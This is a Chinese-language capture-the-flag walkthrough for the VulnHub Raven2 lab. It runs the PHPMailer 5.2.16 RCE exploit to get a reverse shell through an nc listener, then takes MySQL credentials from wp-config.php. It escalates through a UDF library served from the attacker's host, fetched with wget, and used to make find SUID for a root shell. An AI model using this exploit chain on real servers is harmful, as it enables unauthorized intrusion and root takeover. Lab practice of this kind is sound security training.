靶机地址:https://download.vulnhub.com/raven/Raven2.ova
1.主机+端口发现
nmap 192.168.113.138/24

2.目录扫描
dirsearch -u "http://192.168.113.143/" -i 200

06:14:30 200 - 18KB - /.DS_Store
06:14:33 200 - 3KB - /about.html
06:14:40 200 - 3KB - /contact.php
06:14:46 200 - 765B - /js/
06:14:48 200 - 201B - /manual/index.html
06:15:03 200 - 818B - /vendor/
06:15:06 200 - 1KB - /wordpress/wp-login.php
06:15:06 200 - 17KB - /wordpress/
3.目录发现
在路径:http://192.168.113.144/vendor/PATH下面找到flag1:
flag1{a2c1f66d2b8051bd3a5874b5b6e43e21}

http://192.168.113.144/vendor/SECURITY.md提示我们中这个wordpress版本存在哪些漏洞:
提示wordpress有哪些版本漏洞

这里提示是PHPMailer

从这里看见PHPMailer的版本信息5.2.16。
PHPMailer的版本信息5.2.16存在漏洞
http://192.168.113.144/contact.php也有发送邮件的功能

4.从wordpress先开始
wpscan --url http://192.168.113.144/wordpress/

从在两个版本入手:
searchsploit wordpress 4.8.7

没有我们想要的
5.查看phpmailer 5.2.17的漏洞
查看当前版本漏洞
searchsploit phpmailer 5.2.17

发现远程代码执行
利用该脚本
修改脚本
地址:/usr/share/exploitdb/exploits/php/webapps/40974.py

先开启监听
nc -lvvp 8888
在另外窗口执行poc
pip3 install requests_toolbelt --break-system-packages #下载依赖
python3 /home/kali/Desktop/40974.py

拿到反弹shell


找到第二个flag

flag2{6a8ed560f0b5358ecf844108048eb337}
我们用python来获取个pty
python -c 'import pty;pty.spawn("/bin/bash")'
然后我们搜索下关键字flag
find / -name "flag*"


find ./ -name "*fig*"

利用该版本数据库漏洞
在wp-config.php文件中发现了mysql的数据库账号密码为:

root
R@v3nSecurity
使用账号密码成功登录数据库。

权限提升
MYSQL低于5.5的漏洞可以使用UDF提权,查看mysql的运行权限。发现是mysqld是root权限,查看secure_file_priv的设置发现为空,满足udf提权。
ps -aux|grep mysql #查看mysql的运行权限
select version(); #查看mysql版本
select @@basedir; #确认mysql安装位置
show variables like '%basedir%'; #确认mysql安装位置
show variables like '%secure%'; #查看可导出文件位置

MySQL >= 5.1 的版本,必须把 UDF 的动态链接库文件放置于 MySQL 安装目录下的 lib\plugin 文件夹 下文件夹下才能创建自定义函数。sqlmap 和 Metasploit 里面都自带了对应系统的动态链接库文件。查看插件位置为:/usr/lib/mysql/plugin/,Windows的话还需查看操作系统版本。
show variables like '%plugin%'; #查找插件位置
show variables like '%compile%'; #查看系统版本

通过以上信息可知满足udf提权,直接利用1518进行提权,先搜索1518.c,然后查看其所在位置,并复制到桌面。
searchsploit 1518.c #搜索1518.c
locate 1518.c #查看下本地所存放路径
cp /usr/share/exploitdb/exploits/linux/local/1518.c . #复制到当前所在文件夹



利用gcc编译,生成1518.so文件。
gcc -g -shared -Wl,-soname,1518.so -o 1518.so 1518.c -lc
命令参数说明:
-g:生成调试信息。
-shared:创建一个动态链接库,输入文件可以是源文件、汇编文件或者目标文件。
-o:执行命令后的文件名。
-lc:-l 库 c库名。
-Wl:该选项告诉编译器将后面的参数传递给链接器。
-soname:则指定了动态库的soname(简单共享名,Short for shared object name)

在kali上使用python开启http服务。
python3 -m http.server 7777
在获取的shell中,将该".so"文件传输到靶机上的/tmp目录下。并且使用wget命令下载1518.so文件。将下载的文件赋予执行权限。
cd /tmp
wget http://192.168.188.157:7777/1518.so
chmod 777 *

再次登录mysql,并使用一下命令创建自定义函数。
连接mysql数据库
mysql -uroot -pR@v3nSecurity
使用mysql数据库
use mysql;
创建foo表
create table foo(line blob);
往foo表中插入二进制的1518.so
insert into foo values(load_file('/tmp/1518.so'));
导出1518.so
select * from foo into dumpfile '/usr/lib/mysql/plugin/1518.so';
创建do_system自定义函数
create function do_system returns integer soname '1518.so';
调用do_system函数给find命令所有者的suid权限,使其执行root
select do_system('chmod u+s /usr/bin/find');
导入成功后可查看一下 mysql 函数里面是否新增了do_system:
select * from mysql.func;

利用find命名执行whoami,发现当前为root权限。
touch 11
find 11 -exec "whoami" \;
find 11 -exec "/bin/sh" \;
cd /
ls
cd root
ls
cat flag4.txt
